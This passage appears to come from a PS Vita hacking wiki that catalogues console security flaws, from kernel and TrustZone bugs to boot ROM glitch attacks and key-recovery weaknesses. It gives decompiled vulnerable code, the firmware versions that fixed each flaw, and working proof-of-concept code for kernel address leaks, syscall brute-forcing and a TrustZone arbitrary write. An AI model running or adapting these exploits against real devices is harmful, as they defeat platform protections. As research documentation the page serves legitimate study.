
	res = sceKernelGetMutexInfo_089ForDriver(kernel_mutexid, pInfo);
	if (res < 0)
		return res;

	pInfo->mutexId = mutexid;
	res = scePUIDGetAttrForKernel(0, mutexid, &a_ptr);
	if (res < 0)
		return res;

	a4 = *(uint32_t *)(a_ptr) << 0xC;
	FLAGS = a4;
	if (N == 0) // signed > 0
		goto loc_8102D744;

	*(uint32_t *)((int)pInfo + 0x28) |= 0x80000;

loc_8102D744:
	return res;
}

// kernel export
int sceKernelGetMutexInfo_089ForDriver(SceUID mutexid, SceKernelMutexInfo *pInfo) {
	int state;
	int res;
	void *a_ptr;
	SceKernelMutexInfo mutex_info;
	ENTER_SYSCALL(state);

	if (pInfo == NULL) {
		res = 0x80020006;
		goto loc_8100E862;
	}

	if ((uint32_t)(pInfo->size) > 0x40) {
		res = 0x8002000B;
		goto loc_8100E862;
	}

	res = sub_8100D344_get_mutex_info_by_id(mutexid, &mutex_info);
	if (res < 0)
		goto loc_8100E862;

	asm("mrc p15, #0, r3, c13, c0, #3\n");
	a4 = a4 << 0xF;
	FLAGS = a4;
	if (N == 0) // signed > 0
		goto loc_8100E852;

	if (mutex_info.currentOwnerId != 0) {
		res = sceGUIDGetObjectForDriver(mutexid, &a_ptr);
		if (res < 0)
			goto loc_8100E862;
		mutex_info.currentOwnerId = *(uint32_t *)(*(uint32_t *)(a_ptr) + 0xC0);
	}

loc_8100E852:
	memcpy(pInfo, &mutex_info, ((uint32_t)(pInfo->size) >= 0x40) ? 0x40 : pInfo->size); // Kernel write here

loc_8100E862:
	EXIT_SYSCALL(state);
	return res;
}

The exploit was fixed in FW 3.68: 

// usermode export
int sceKernelGetMutexInfo_089() {
    return 0x80028141; // SCE_KERNEL_ERROR_UNKNOWN_MUTEX_ID
}

PoC: 

sceKernelGetMutexInfo_089(some_mutex_uid, (SceKernelMutexInfo *)0x18E2540);
/*
Kernel memory dump after exploit:
0x018E2540 : 25 00 00 00 00 FF 00 00 01 00 00 00 05 00 01 00
0x018E2550 : FF FF FF FF 2D 91 07 00 55 55 00 00 3B 57 A2 00
0x018E2560 : 00 00 02 00 78 56 34 12 00 09 00 00 FF FF FF FE
*/

In this PoC, 0x25 bytes at kernel virtual address 0x18E2540 are overwritten with a mutex info structure.

SceNgs design flaws (h-encore)

Discovered on 2018-02-04 by TheFloW and successfully exploited four days later. Released on 2018-06-29 in h-encore by TheFloW.

Should be exploitable at least in FW 3.00 and up to FW 3.68. Fixed in FW 3.69.

h-encore is a kernel exploit that uses memory page underflow to write outside the low address boundary. 

0x1123000 : [kernel stack] <- for exploit thread one
0x1124000 : [SceNgsBlock ]
+
DefPreset
 - off 0x40
 - len 0xFFFFFF00
 - off 0x80
 - len 0x4

to
0x1124000 + 0xFFFFFF00 = 0x1123F00 <- The second preset copy is from this address

Some functions in SceNgs take a kernel pointer (xor'ed with a known static value) from usermode.

This can be used to partially defeat kernel ASLR and also as an out-of-bounds exploit to get kernel execution.

Writeup and source code.

Kernel stack address leak using sceNgsRackGetRequiredMemorySize

Discovered by Team Molecule in 2013 or 2014. Implemented in henkaku for System Software 1.80.

Write-up about h-encore kernel stack leak.

IMPORTANT: On old System Software versions (at least til FW 1.692) the voice definition address MUST NOT be xored (else SCE_NGS_ERROR_INVALID will be returned by sceNgsRackGetRequiredMemorySize function).

Below is a working implementation tested in System Software versions 0.995 and 1.692. Using the 1.692 DEVCTL_STACK_FRAME allows to get the kernel stack address faster on that version. 

#define DEVCTL_STACK_FRAME 0x728  // value specific for 1.692

SceInt32 gRet = 0;

SceUInt32 leak_kstack_addr_ngsuser(SceNgsHSynSystem synSys, SceUInt32 paramsize) { // exploit and ROP code by TheFloW - C code by LemonHaze
    SceInt32 ret = 0;

    SceNgsRackDescription rackDesc;
    rackDesc.nChannelsPerVoice   = 1;
    rackDesc.nVoices             = 1;
    rackDesc.nMaxPatchesPerInput = 0;
    rackDesc.nPatchesPerOutput   = 1;

    unsigned int voiceDef[0x400];
    memset(voiceDef, 0x00, 0x400);
    voiceDef[0] = SCE_NGS_VOICE_DEFINITION_MAGIC;
    voiceDef[1] = SCE_NGS_VOICE_DEFINITION_FLAGS;
    voiceDef[2] = 0x40;
    voiceDef[3] = 0x40;
    sceIoDevctl("", 0, voiceDef, 0x3FF, NULL, 0);

    sceKernelDelayThread(2*1000*1000);

    for (unsigned int addr = DEVCTL_STACK_FRAME; addr < 0x3000000; addr+= 0x1000) {        
        rackDesc.pVoiceDefn = (struct SceNgsVoiceDefinition*)(addr);
        ret = sceNgsRackGetRequiredMemorySize(synSys, &rackDesc, &paramsize);
        gRet = ret;
        if (ret == SCE_NGS_ERROR_INVALID_PARAM)
            continue;
        else
            return (addr-DEVCTL_STACK_FRAME);
    }
    return -1;
}

Another implementation, in ROP, to leak safemem address, can be seen here.

Below is a C code that easily mimics the vulnerability outline and the fix present in System Software version 3.700.011. 

// 3.65 (probably up to 3.69 included)
void *sceNgsVoiceGetDefSomething(void) {
	// ~~~
	return kernel_ptr ^ 0x9e28dcce;
}

int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) {
	int ret = 0;
	int rackDesc[0x18 / sizeof(int)];
	copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc));
	rackDesc[0] ^= 0x9e28dcce;
	ret = check_voice(rackDesc[0]);
	if (ret < 0) // checks that kernel is mapped and voice definition valid
		return ret;
	return 0;
}

// 3.700.011
void *sceNgsVoiceGetDefSomething(void) {
	return def_id ^ def_xor;
}

int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) {
	int ret = 0;
	int rackDesc[0x18 / sizeof(int)];
	copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc));
	rackDesc[0] = get_voice_def(rackDesc[0] ^ def_xor);
	ret = check_voice(rackDesc[0]);
	if (ret < 0) // checks that kernel is mapped and voice definition valid
		return ret;
	return 0;
}

Fixed in FW 3.70.

Two memcpy bugs (used in h-encore)

Discovered in 2018 by TheFloW.

Should be exploitable on any firmware up to 3.69. Could even be vulnerable at other levels (TrustZone?, NSKBL?).

write-up

The 2 following bugs are exploited when using a negative length memcpy in order to use OOB without having a too big copied buffer nor triggering a segmentation fault.

memcpy integer overflow

If len is negative, the addition with dst will yield a value smaller than dst due to an integer overflow and as a consequence, the comparison later in the code will result in false, no matter if it is a signed or unsigned comparison, and thus it believes that there are less than 32 bytes to copy.

memcpy length comparizon as signed integer

At some point in memcpy function, the length is compared as signed integer. Hence a negative length will simply bypass the copy loop.

Kernel stack leak in sceUdcdGetDeviceInfo

Discovered on 2018-10-09 by TheFloW. Implemented in Trinity by TheFloW.

writeup

Fixed in FW 3.71.

Heap overflow in WLAN command 0x50120004

Discovered on 2018-09-26 by TheFloW. Implemented in Trinity by TheFloW.

writeup

Fixed in FW 3.71.

Kernel modules addresses leak by kernel non-syscall functions import from usermode fSELF

Discovered on 2020-10-21 by Princess of Sleeping.

SceKernelModulemgr kernel module is allowed to process non-syscall kernel functions exports even when imported by usermode modules.

Kernel ASLR bypass procedure is thus simple: load a custom usermode fSELF that has in its module imports section the NID of a non-syscall function exported by the target kernel module. When the custom usermode SELF is started, SceKernelModulemgr searches the function to import by its NID, decomposes the function address (4 bytes) into low and high, converts it to movw/movt/bx ip, and copies it to the import table of the importing module. Once the usermode module imports have been resolved (that occurs between when sceKernelModuleStart is called and module_start is run), the attacker usermode SELF can refer to its own import table, decompose the instructions and translate it back to the function address then finally derive the address of the kernel module.

There are two limitations with this vulnerability exploitation:

  • The target module must have a non-syscall export that is not in NONAME library. For example module_start is exported in NONAME library. Hence why SceSdstor, SceSysStateMgr and SceWlanBtRobinImageAx addresses for example cannot be leaked using this method.
  • The attacker needs to launch a custom fSELF on the target PS Vita. So this exploit can only be used on activated DevKits and TestKits but not on retail consoles, except if the attacker has an exploit to do so on retail consoles.

A vulnerable kernel module is for example SceIofilemgr, because it exports SceIofilemgr#sceIoOpenForDriver as non-syscall function in SceIofilemgrForDriver library. SceSysmem, SceSblSsMgr and a lot of kernel modules are also vulnerable.

Proof of concept code for FW 3.500.011-3.740.011: 

uint32_t decode_addr(uint32_t* import) {
    /* Import thunk code for function at address 0xABCDEF01:
     *
     *  movw r12, #0xEF01
     *  movt r12, #0xABCD
     *  bx r12
     *
     * In older firmware, a "ldr r12, [pc]" is used instead?
     */
    uint32_t movw = import[0];
    uint32_t movt = import[1];
    /* movt/movw instruction load a 16-bit immediate
     * formed of 2 parts: 4-bits imm4 and 12-bits imm12
     * concatened: imm16 = imm4:imm12.
     *
     * imm4  is bits 19-16 of instruction.
     * imm12 is bits 11-00 of instruction.
     *
     * We can right-shift imm4 by 4 to move it to 15-12, and OR with imm12
     * to get imm16.
     */
#define DECODE_MOV_IMM16(instr) (((instr & (0xF << 16)) >> 4) | (instr & 0xFFF))
    return (DECODE_MOV_IMM16(movt) << 16) | DECODE_MOV_IMM16(movw);
#undef DECODE_MOV_IMM16
}

// Kernel function we want to leak the address of
SceUID sceKernelAllocMemBlockForKernel(char*, SceUInt32, SceUInt32, void*);

int main(void) {
    printf("sceKernelAllocMemBlockForKernel -> 0x%08X\n", decode_addr((uint32_t*)&sceKernelAllocMemBlockForKernel);
    return 0;
}

This vulnerability is present on every System Software versions and will likely never get fixed. However, this exploit does not work in external FW 3.00 (?and older?) because SceKernelModulemgr_sub_810047cc triggers kernel panic for usermode trying to import to kernel export. But strangely it became exploitable in many FWs after 3.00. On internal FWs, this vulnerability does not work as there are more assertions. There are also a few (one percent) external FWs >= 3.01 for which the exploit does not work.

Syscalls shared between usermode processes

Discovered in 2014 by Team Molecule. Implemented in 2020 by Princess of Sleeping.

Aim: Consider that you have code execution in process P1 and want to call syscall S1 exported from library L.

Problem: Consider that process P1 does not import syscall S1 using stubs.

Solution: Consider that process P1 imports syscall S2 from library L using stubs. Consider that another started process P2 imports syscall S1 from library L. Consider that you know the indexes of syscalls S1 and S2 in library L, for example thanks to bruteforce or thanks to a memory dump.

Result: Ensure that process P2 is still in memory. Compute syscalls 1 and 2 index difference D beforehand or let it be bruteforced (see Syscalls#Syscall ID estimation). You can call syscall S1 by running this PoC code in process P1: 

int call_svc(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4, unsigned svc_number);

int movw_to_int(void *arm_code, int *out) {
	unsigned int val = *(unsigned int *)(arm_code);
	if ((val & 0xFF000000) != 0xE3000000)
		return -1;
	if((val & 0x00F00000) != 0x00000000)
		return -1;
	*out = (val & 0xFFF) | ((val & 0xF0000) >> 4);
	return 0;
}

int S2(); // Automatically resolved by the kernel using stubs
#define D (-1) // Can also be bruteforced but could cause instabilities depending on the arguments passed
int S1(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4) {
    int S2_syscall_no;
    if (movw_to_int(S2, &S2_syscall_no) != 0)
        return 0xcafebabe;
    if (D > 0)
        return call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - D);
    for (int d = 1; d < 0xFFF; ++i)
        call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - d);
    return 0xdeadbeef;
}

Tested in System Softwares 1.50 and 3.600.011 in fSELF on activated Kit. It might also work with usermode exploits, for example with WebKit exploits. It might also be used with the #Kernel stack buffer overflow in sceSblDmac5EncDec vulnerability and its writeup said that bruteforce was used instead of computing D.

This vulnerability affects every System Software versions and will likely never get fixed because of the architecture and of the performance drop it would cause.

SceMsif data segment address leak via vshMsifGetMsInfo

Discovered on 2021-12-29 by Princess of Sleeping.

MemoryCard's SceMsInfo, accessible to usermode via SceVshBridge#vshMsifGetMsInfo, contains a pointer to an area inside SceMsif module data segment. This allows to partially defeat kernel ASLR.

However, the call to SceVshBridge#vshMsifGetMsInfo must pass the SceSblACMgr#sceSblACIsSystemProgramForKernel check. Therefore, it is a useless exploit without a usermode exploit in a System application.

Not fixed as of FW 3.60.

Kernel stack leak via vshMsifGetMsInfo

Discovered on 2021-12-29 by Princess of Sleeping.

SceVshBridge#vshMsifGetMsInfo calls SceMsif#sceMsifGetMsInfoForDriver to get a 0x40-byte SceMsInfo. Unexpectedly, SceMsif#sceMsifGetMsInfoForDriver forgets to initialize some members of SceMsInfo (missing a memset at the beginning) then copies SceMsInfo to usermode memory. But the content that is actually leaked is a usermode memory pointer (4 bytes), so it seems useless unless someone can fill the kernel stack with sensitive kernel information, for example in order to leak kernel pointers to defeat kernel ASLR.

However, the call to SceVshBridge#vshMsifGetMsInfo must pass the SceSblACMgr#sceSblACIsSystemProgramForKernel check. Therefore, it is a useless exploit without a usermode exploit in a System application.

Not fixed as of FW 3.60.

Heap information leak in sceNetSyscallControl

Discovered in 2020-05 by TheFloW. Released on 2022-12-27.

Implemented in HENlo by TheFloW.

SceNetPs#sceNetSyscallControl allows to leak both SceNetPs base address and addresses of some SceNetPs internal objects such as iflist and softc headers.

SCE forgot to (OR 2) the flags in sceNetPsMalloc. Therefore, the allocated memory is in an uninitialized state, which leads to SceNetPs heap memory leak when issuing commands to retrieve information. However, the memory allocated before the start of the process that exploits SceNetPs is not leakable.

Not fixed as of FW 3.740.011.

Integer overflow leading to heap overflow in sceNetSyscallGetIfList

Discovered in 2018 by St4rk but not exploited by him as Team Molecule members told him that it was not exploitable. Rediscovered and exploited in 2020-05 by TheFloW. Released on 2022-12-27.

Implemented in HENlo by TheFloW.

SceNetPs#sceNetSyscallGetIfList has an argument to specify how many contents to get, but it does not have enough checks. This leads to arbitrary integer overflow when allocating memory with SceNetPs#sceNetPsMalloc. 

int sceNetSyscallGetIfList(void *iflist, SceUInt32 num) {
	int res;
	void *iflist_kern;
	// ...
	iflist_kern = sceNetPsMalloc(num * 0x140);
	res = sce_netps_get_if_list(iflist_kern, num);
	// ...
	return res;
}

If num is 0x199999A, then SceNetPs#sceNetSyscallGetIfList allocates 0x80 bytes of memory. Indeed, 0x199999A * 0x140 = 0x80. As actual data copied are larger than 0x80 bytes, because each iflist has a size of 0x140 bytes, a heap overflow occurs.

Creativity was needed to exploit it because of heap cookies. Since we do not control the whole content, the function will just crash on free. But this function is calling a function pointer from an object on the heap which we can coincidentally overwrite with some controllable data. So it needs a precise heap feng shui to trigger.

Not fixed as of FW 3.740.011.

Kernel stack leak in sceNgsVoiceGetParamsOutOfRange

Discovered by TheFlow. Implemented in hencore-2 by TheFloW.

SceNgsUser#sceNgsVoiceGetParamsOutOfRange can be used to leak kernel stack data by passing to it negative indices.

PoC code tested on System Software 3.740.011: 

// offset for FW 3.30-3.740.011
#define KERNEL_STACK_SLIDE 0x80

// offset for FW 3.740.011
#define SCE_SYSMEM_SLIDE 0x29f2c

// Pre-exploitation initialization
int res;
uint32_t sys_size;
SceNgsSystemInitParams init_param;
SceNgsHSynSystem sys_handle;
SceNgsRackDescription rack_desc;
SceNgsBufferInfo buffer_info;
SceNgsHRack rack_handle;
SceNgsHVoice voice_handle;

init_param.nMaxRacks = 64;
init_param.nMaxVoices = 64;
init_param.nGranularity = 512;
init_param.nSampleRate = 48000;
init_param.nMaxModules = 1;

// Determine memory requirement for NGS system
res = sceNgsSystemGetRequiredMemorySize(&init_param, &sys_size);

// Allocate NGS system memory
void *sys_mem = memalign(256, sys_size);

// Initialize NGS system
sceNgsSystemInit(sys_mem, sys_size, &init_param, &sys_handle);

rack_desc.pVoiceDefn = sceNgsVoiceDefGetTemplate1();
rack_desc.nVoices = 1;
rack_desc.nChannelsPerVoice = 1;
rack_desc.nMaxPatchesPerInput = 0;
rack_desc.nPatchesPerOutput = 1;
rack_desc.pUserReleaseData = 0;

// Determine memory requirement for NGS rack
sceNgsRackGetRequiredMemorySize(sys_handle, &rack_desc, &(buffer_info.size));

// Allocate NGS rack memory
buffer_info.data = memalign(256, buffer_info.size);

// Initialize rack
sceNgsRackInit(sys_handle, &buffer_info, &rack_desc, &rack_handle);

// Get voice handle
sceNgsRackGetVoiceHandle(rack_handle, 0, &voice_handle);

// Exploitation
uint32_t kstack_leak[0x20];
memset(kernel_stack_leak, 0, sizeof(kernel_stack_leak));
sceRtcGetCurrentClockLocalTime(NULL);
sceNgsVoiceGetParamsOutOfRange(voice_handle, -1, (char *)kernel_stack_leak);
uint32_t leaked_kernel_stack_address = kernel_stack_leak[0x6C / 4] - KERNEL_STACK_SLIDE;
uint32_t sysmem_address = kernel_stack_leak[0x60 / 4] - SCE_SYSMEM_SLIDE;

Not fixed as of FW 3.740.011.

Non-Secure Kernel Boot Loader (NSKBL)

Ensō

Released on 2017-07-29 by Team Molecule.

yifan's write-up

enso source code

Fixed in FW 3.67.

Buffer overflow during eMMC init

2016 - Yifan Lu discovers a buffer overflow in NSKBL that occurs during eMMC initialization. With kernel execution we can mod eMMC MBR to change block size. However at this time yifan was trying to exploit it with an adjacent malloc (controlled_size) and couldn't find a way so he just left it there.

Logic flaw about error checking

2017-04-30 - xyx finds a way to exploit the NSKBL eMMC buffer overflow. He discovers a logic flaw related to error code propagation in NSKBL. A function does not check a error return: if it did then the corrupted value in buffer overflow would not have been used. And later on the field that was written was used in a separate call.

It so allows for a usable buffer overflow in the data section and early code execution on ARM in non-secure privileged mode.

TrustZone

Note that a 1.80 TrustZone modules imports/exports list is available File:Psvita 1.80 tz nids.txt

SMC 0x12F does not validate arguments (arbitrary read/write and code execution)

Discovered on 2017-01-01 by Yifan Lu. Exploit implementation by Proxima.

Video by Yifan Lu

See also sceSblSmSchedProxyGetStatusForKernel.

SMC 0x12F (sceSblSmSchedGetStatusMonitorCall) takes two unchecked arguments: req_id and area.

req_id is a pointer to TrustZone memory in the form of (tz_addr >> 0x01) and area is an integer value calculated as ((shared_mem_blk_addr - shared_mem_base_addr) / 0x80).

By passing the right value as req_id, SMC 0x12F will read 8 bytes from (tz_addr + 0x28) and return them at (shared_mem_base_addr + index * 0x80) which translates to a TrustZone arbitrary memory leak (8 bytes only).

By passing the right value as area it is also possible to write the leaked data into an arbitrary TrustZone memory region. The non-secure Kernel sees the shared memory region at 0x00400000 (size is 0x5000 bytes) and the Secure Kernel sees the exact same memory region at 0x00560000, thus making it possible to plant data inside the non-secure Kernel's region and having the SMC copy this data somewhere into TrustZone memory (e.g.: TrustZone SceExcpmgr SMC table). This results in TrustZone level arbitrary code execution.

Example code exploiting this vulnerability to write 8 bytes from non-secure Kernel to TrustZone: 

void tz_memcpy_8(uintptr_t dst, const void *src) {
	memcpy((void *)0x00400028, src, 8);

	uintptr_t req_id = 0x00560000 >> 1;
	uintptr_t area = (dst - 0x00560000) / 0x80;

	asm volatile(
		"mov r0, %0\n\t"
		"mov r1, %1\n\t"
		"mov r12, #0x12F\n\t"
		"smc #0\n\t"
		: : "r"(req_id), "r"(area) : "r12"
	);
}

To achieve code execution in TrustZone, it is needed to set dst to the SMC table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes).

Fixed somewhere around after FW 1.80 before FW 2.10.

Hardware

Dmac5

DMAC5 crypto engine allows overwrite of partial AES key allowing for key recovery

(2017-02-01) The Dmac5 crypto engine, accessible from the kernel, allows writing 4 bytes of key material at a time.

This makes it possible to recover plaintext AES keys via bruteforce.

See [7], [8].

Bigmac

Bigmac allows partial overwrite of previous AES operation result allowing for derived key recovery

(2017-04-21) Bigmac crypto engine, accessible from Cmep, has the following vulnerabilities:

  • it leaves result of previous AES operation in the internal buffer that will be reused in the next AES operation
  • it allows AES input data of less than 16 bytes (1 block) without adding padding

This makes it possible to recover plaintext Bigmac keyrings derived keys via bruteforce.

See [9].

Bigmac allows AES decryption in CTR mode leading to IDStorage certificates re-encryption

Discovered in 2017 or 2018 by Team Molecule and rediscovered by Princess of Sleeping on 2020-05-16. Implemented in CEX2DEX by Team FAPS.

AES decrypt in CTR mode can also be used for encryption in CTR mode since AES algorithm in CTR mode is a symmetric function.

Moreover, AES encryption in ECB mode can be obtained by executing AES encryption in CTR mode with input data as IV and zeroed block as source block.

After obtaining code execution in Cmep, one can AES encrypt in ECB mode the private key of an IDPS Certificate using keyring 0x212.

First Loader

Petite Mort

(2018-07-27) Petite Mort is a toolset to glitch the PS Vita First Loader.

Team Molecule found three software vulnerabilities in First Loader to exploit and dump it by glitching:

  1. The start of the SRAM is reused by First Loader as a scratch buffer for loading the SLSK. This scratch buffer can be overflown in order to overwrite the adjacent code. To exploit, glitch to bypass the SLSK maximum size check, in order to overflow the SLSK buffer in SRAM with a payload.
  2. The CMeP processor has the exception vectors set to this same SRAM location and there is no way to turn off exceptions. To exploit, firstly replace the first block of the SLSK file with an exception vector that will jump into a payload. Then trigger a glitch just after the block is loaded, to cause an exception and jump to the payload.
  3. After reset, First Loader loads secure_kernel.enp from the memory instead of from the eMMC. It copies 64 bytes of the SLSK file, verifies the header, and loads the rest of the file only if the header check passes. If the check fails, it does not wipe the data so in effect we are still able to overwrite the exception vectors, this time with only 64 bytes instead of 256. To exploit:
    1. Boot the PS Vita up normally using the Ensō exploit to get ARM NSKBL code execution (though ARM non-secure kernel would be sufficient).
    2. Privilege escalate to ARM TrustZone using a separate exploit.
    3. Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
    4. Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
    5. Load the exception vector payload in ARM TrustZone and trigger the glitcher with a sequence of characters written to UART console.
    6. After some time offset, the glitch happens and causes an exception in CMeP, which runs the payload.

The second and third vulnerabilities are detailed in the cMeP exception vectors reused as SLSK load buffer section.

So with these three software vulnerabilities and a hardware glitcher, one can finally get 16320 out of 16384 bytes of the boot ROM code. The remaining 64 bytes turn out to be just the original exception table which is the same entry to a panic, repeated 15 times. We also guess that the reset vector (0x0) points to the only boot code in the system.

  • Source code available here.

cMeP exception vectors reused as SLSK load buffer

(2018-07-27) When a SLSK is loaded by the First Loader, it is first read to 0x40000 which is the uncached alias of 0x800000 (both are cmep-only private memory) and then later decrypted to the final address it is executed from. However, 0x40000 is also where the exception vectors lie. By the time the SLSK is read, the exception vectors are stale and therefore the memory is safe to reuse. Interrupts are disabled, so we cannot use those. Exceptions, however cannot be disabled in hardware. Below is a summary of all the exceptions.

Exception Offset Note
Reset 0x0 Requires hardware reset signal
NMI 0x4 Requires hardware NMI signal
RI 0x8 No reserved instructions used
ZDIV 0xC DIV/DIVU instructions are used in one place but safe from /0 bugs
BRK 0x10 BRK instruction not used
SWI 0x14 SWI/STC instructions not used
DBG 0x18 The CMeP debugger can be used to send a non-maskable DINT
DSP 0x1C No DSP unit
COP 0x20 No coprocessor unit

Through Glitching, we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake SLSK file that actually masquerades as a cmep exception handler table that all points to our payload, we can execute cmep code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, Team Molecule found this target to have an insanely high success rate.

In First Loader there are two SLSK load paths. The first one is used at initial boot to read Second Loader .enp file from the eMMC or SD Card. In this first path, the minimum payload size is 0x200 bytes because at most one eMMC block must be read. The second path is used in early boot to read the Secure Kernel .enp or .enp_ file which is loaded from the SLB2 partition by ARM TrustZone to volatile memory. This second path is more difficult to reach because it requires a handshake between CMeP ("you are allowed to reset me") and ARM TrustZone ("I am going to reset cmep"). However, as long as both cmep and ARM TZ are pwned post-boot, the second path can be triggered.

The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of cmep memory (which we might want to dump) and that it requires "bricking" the device if running from eMMC (because Second Loader is replaced by the payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader.

The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of cmep memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and cmep) and it takes longer to trigger (since you have to boot the system to a point where you can pwn both cmep and ARM TZ).

First Loader SLSK buffer overflow

(2019-08-30) In some development prototype PS Vita, the boot ROM does not check the SLSK header correctly. Specifically, the body_size field (at SLSK offset 0x10) is only checked after adding it to "offset_to_code". The calculation can overflow, for example, when body_size == -offset_to_code. Further, when loading a SLSK binary from ARM, the size to copy in is calculated with (scratch->body_size + scratch->offset_to_code) - 0x40. In the case that the sum of body_size and offset_to_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM.

This software vulnerability is far more convenient than the glitch ones as it does not require hardware nor risks bricking, but only works on some old prototype PS Vita models. To avoid the need of a hardware flasher, it is needed to avoid overwriting any SLSK in the sloader partition but instead to use ARM TrustZone and CMeP exploits to load a custom Secure Kernel SLSK to volatile memory, do the handshake then trigger a reset.

The exploitation steps are similar to the ones of the third software vulnerability triggered by glitch:

  1. Boot the PS Vita up normally using the Ensō exploit to get ARM NSKBL code execution (though ARM non-secure kernel would be sufficient).
  2. Privilege escalate to ARM TrustZone using a separate exploit.
  3. Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
  4. Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
  5. Load the exception vector payload and Secure Kernel SLSK with exploit body_size in header, using ARM TrustZone.
  6. After some time, the overflow happens and causes an exception in CMeP, which runs the payload.
  • See the implementation of the First Loader SLSK buffer overflow by SKGleba and Proxima in the broombroom repository.

Confirmed present in PS Vita units with Product Sub Code 0xD and older. Fixed in PS Vita units with Product Sub Code 0xF and newer.

Second Loader

moth exploit

(2019-02-05) second_loader does not check idstorage minimum firmware version padding after decryption. In order to verify the minimum firmware version number, the binary blob from idstorage is decrypted using a console-specific key, verified using RSA, then decrypted again using a different console-specific key. At no point does it check that the padding of the final decryption is valid. This lets us transplant the block from one console to another by decrypting the outer layer on the donor console and encrypting it on the target. As the second key is different on the target console, after the final decryption we end up with random garbage. However, because the version number is a 4-byte integer, with a probability of 1/256 the major byte of the version would be 00, resulting in a minimum firmware of "0.garbage". This effectively lets us bypass the minimum firmware check implemented in second_loader and downgrade below the minimum firmware, provided that enough samples of the signed blob are collected.

Warning: second_loader sets SNVS handshake key partials by encrypting some hardcoded data with a per-console key; but it uses different data (and non-encrypted) if the minimum firmware version is lower than 0x996000 which, on release units, may lead to secure world not being able to read SNVS.

Dummy key used for release SLSK encryption

SLSK files were encrypted with an easily bruteforceable key.

Fixed in FW 3.70 by changing the SLSK key. But that fix cannot undo the result: most files in type 2 and type 3 PUPs are decryptable with keys except 3.70+ SLSK files. Yet 3.70+ SLSK keys can be retrieved using glitching (see #First Loader).

Secure Block

Secure Kernel

octopus exploit

(2017-02-18) secure_kernel module loading does not check source address and therefore provides an oracle allowing for memory dump. See https://teammolecule.github.io/35c3-slides/

Fixed in FW 1.80.

Secure Modules

AES CTR IV reused in some Certified Files

Discovered before 2014‎-08-16 by anonymous.

Sometimes SCE reused the same AES CTR keys and IVs in different Certified Files.

This allowed decrypting some SPKGs (extracted from PUP) and SELFs (e.g. applier_sm.self, kernel_boot_loader.self) if plaintext and encrypted blocks of another version of that Certified File were known.

See also [3].

Present in FW 0.945.

Fixed since at least FW 0.996 as all Certified Files started having always different IVs.

update_service_sm

Heap buffer overflow in update_service_sm

(2017-02-23) A heap buffer overflow exists in update_service_sm.[10]

kprx_auth_sm

Packed exploit

(2020-11-16 by PrincessOfSleeping) kprx_auth_sm verifies SELF header with RSA signature when loading module, but in FW 0.995.070 or lower there is a problem with the location of the RSA signature.

The hash included in the RSA signature is sha256 from the beginning of the header to the position of the RSA signature.

On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature.

On FW 3.60, the SELF header size is 0x1000 bytes, the RSA signature offset is 0xF00 bytes, and the RSA signature size is 0x100 bytes, so there is no unused zero filled area.

Fixed in FW 0.996.070.

References

  1. ↑ https://code.google.com/p/chromium/issues/detail?id=63866
  2. ↑ http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html
  3. ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF
  4. ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not-WP.pdf
  5. ↑ https://cansecwest.com/slides/2015/Liang_CanSecWest2015.pdf
  6. ↑ http://community.eu.playstation.com/t5/Announcements-Events/PSM-scoreboard-service-is-closing/td-p/21263959
  7. ↑ https://yifan.lu/2017/02/19/psvimgtools-decrypt-vita-backups
  8. ↑ https://github.com/yifanlu/psvimgtools/tree/master/dump_partials
  9. ↑ https://lolhax.org/2019/01/02/extracting-keys-f00d-crumbs-raccoon-exploit
  10. ↑ https://yifan.lu/2019/01/11/the-first-f00d-exploit/
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